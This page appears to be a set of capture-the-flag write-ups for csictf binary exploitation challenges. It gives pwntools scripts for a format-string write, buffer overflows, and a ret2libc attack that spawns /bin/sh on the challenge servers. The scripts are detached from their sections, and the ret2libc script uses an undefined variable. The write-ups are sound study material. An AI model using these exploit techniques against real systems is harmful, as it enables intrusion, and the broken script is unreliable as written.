arrow-left

All pages
gitbookPowered by GitBook
1 of 7

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Pwn

Global Warming

Greta Thunberg 1 Administration 0

hashtag
Analysis

This was a different type of binary exploitation challenge. First, check the protections.

Much like the others. Let's run it.

So our input is sent back to us, along with the notice that we cannot log in with input. As we control the print, let's check if there's a format string bug.

And indeed there is. Interestingly, there's no buffer overflow. Let's decompile it to see what's going on.

main is very simple - takes in input (using a secure fgets(), explaining why there was no BoF) and passes the input to the login() function.

Input it printed back to us, as we saw, with printf. This causes the format string. The interesting part is it checks the global admin variable before printing the flag.

Clearly, we have to overwrite the admin variable somehow. To do this, we're going to have to leverage the format string %n specifier for an arbitrary write.

%n takes a pointer to a signed int, where the number of characters written so far is stored. Because we can control certain aspects of the stack (as the buffer is on the stack) we can tell it where to write the data. As we can control the input, we can tell it how much. This gives us an arbitrary write. If we want to write 20 bytes somewhere, we input 20 characters and then call %n. We can even use other fancy format string specifiers to shorten it enough,

I would explain how to leverage this in detail, but frankly, others have done so much, much better than me :)

There are plenty more resources online.

hashtag
Exploitation

Luckily for us, pwntools contains a feature to automate %n exploitation.

circle-exclamation

You should understand how the exploit works before you use tools to do it for you.

The pwntools module is fmtstr_payload, and takes in two values: the offset for the format string and a dictionary. The keys in the dictionary are the location to write to, and the values are the data to write there.

Flag: csictf{n0_5tr1ng5_@tt@ch3d}

Pwn Intended 0x3

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections:

hashtag
Analysis

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections.

Same thing again, GHidra decompilation time.

Again, gets() shows a clear buffer overflow vulnerability. Among other functions there is a flag() function.

So, calling flag() returns the flag. Unsurprisingly.

hashtag
Exploitation

We'll be using the buffer overflow vulnerability to redirect code execution to the flag() function. Some experimenting shows a padding of 40 bytes is needed to overwrite RIP.

Flag: csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}

Pwn Intended 0x2

Travelling through spacetime!

hashtag
Analysis

Sadly, we can't just smash the keyboard. Let's check what protections are enabled.

NX is enabled, so unfortunately no shellcode, but no other protections. Let's perhaps decompile it in GHidra.

So we have a 44-byte-long buffer storing our input, which is read by gets() - a clear buffer overflow vulnerability. Interestingly, the program seems to also return the flag if the if condition is met. I've known GHidra to make mistakes with numbers, so I check the disassembly in radare2.

hashtag
Exploitation

As we can see, the buffer our input is stored in is lower down the stack to the variable that is compared, so if we overflow the buffer we will overflow into the other variable. From the decompilation we know the buffer is 44 bytes long, so we need 44 bytes of padding before we reach the checked variable and write 0xcafebabe.

Flag: csictf{c4n_y0u_re4lly_telep0rt?}

LiveOverflow - Format String with %narrow-up-right
Format String Vulnerabilityarrow-up-right
from pwn import *

elf = ELF('./vuln')
p = remote('chall.csivit.com', 30013)

payload = b'A' * 40
payload += p64(elf.symbols['flag'])

p.clean()
p.sendline(payload)

print(p.clean(2).decode())
from pwn import *

p = remote('chall.csivit.com', 30007)

payload = b'A' * 44
payload += p32(0xcafebabe)

p.sendline(payload)

print(p.clean().decode())

Smash

My first C program that says hello, do you want to try it?

Smash was a very cool challenge where you were given the libc version used by the binary. You had to bypass ASLR and then execute a ret2libc attack.

hashtag
Analysis

As per usual, run a quick checksec

Luckily for us, PIE is disabled and there is no canary. That makes our job much easier. Let's run it and see what happens.

Hmm, our input is printed back to us again. Is there another format string bug?

Indeed there is! Is a BoF possible this time?

Awesome.

There's nothing particularly interesting in the decompilation - main takes input and calls say_hello, which prints back to you.

No interesting strings either. As we are given the libc, everything points to a good old ret2libc attack.

hashtag
Exploitation

As we only had one input, the logical approach would be to use a ret2plt to leak the address of puts in libc from the and call main again to let us have another input.

Flag: csictf{5up32_m4210_5m45h_8202}

from pwn import *

elf = ELF('./vuln')
p = remote("chall.csivit.com", 30023)

admin = elf.symbols['admin']
value = 0xb4dbabe3                              # this is the needed admin value

payload = fmtstr_payload(12, {admin : value})

p.sendline(payload)

print(p.clean().decode())
global offset tablearrow-up-right
from pwn import *

elf = context.binary = ELF('./hello')

# Adapt for remote
if args.REMOTE:
    libc = ELF('./libc-remote.so')
    p = remote('chall.csivit.com', 30046)
else:
    libc = elf.libc
    p = elf.process()


# ret2plt
p.clean(1)

payload = flat(
    b'A' * 136,
    elf.plt['puts'],
    elf.symbols['main'],        # 32-bit - return address comes directly after the function call
    elf.got['puts']             # Parameter comes after the return address
)

p.sendline(payload)

p.recvline()                    # This is the 'Hello, <>!' string - we don't need this

puts_libc = u32(p.recv(4))      # The puts call. We only need the first 4 bytes (the GOT entry of puts)
log.success(f'Puts@LIBC: {hex(puts_libc)}')

libc.address = puts_leak - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')

p.clean(1)

# Final ret2libc
payload = flat(
    b'A' * 136,
    libc.symbols['system'],
    libc.symbols['exit'],
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)
p.interactive()

Secret Society

Wanna enter the Secret Society? Well you have to find the secret code first!

Again, smash the keyboard.

Flag: csivit{Bu!!er_e3pl01ts_ar5_5asy}

Pwn Intended 0x1

I really want to have some coffee!

Smash the keyboard.

Flag: csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}

hashtag
Scripting it

I guess if you really want to, you could...

python -c 'print "A" * 200' | nc chall.csivit.com 30001

hashtag
Pwntools

Ok this is pushing it a bit

from pwn import *

p = remote('chall.csivit.com', 30001)

p.sendline('A' * 200)

print(p.clean().decode())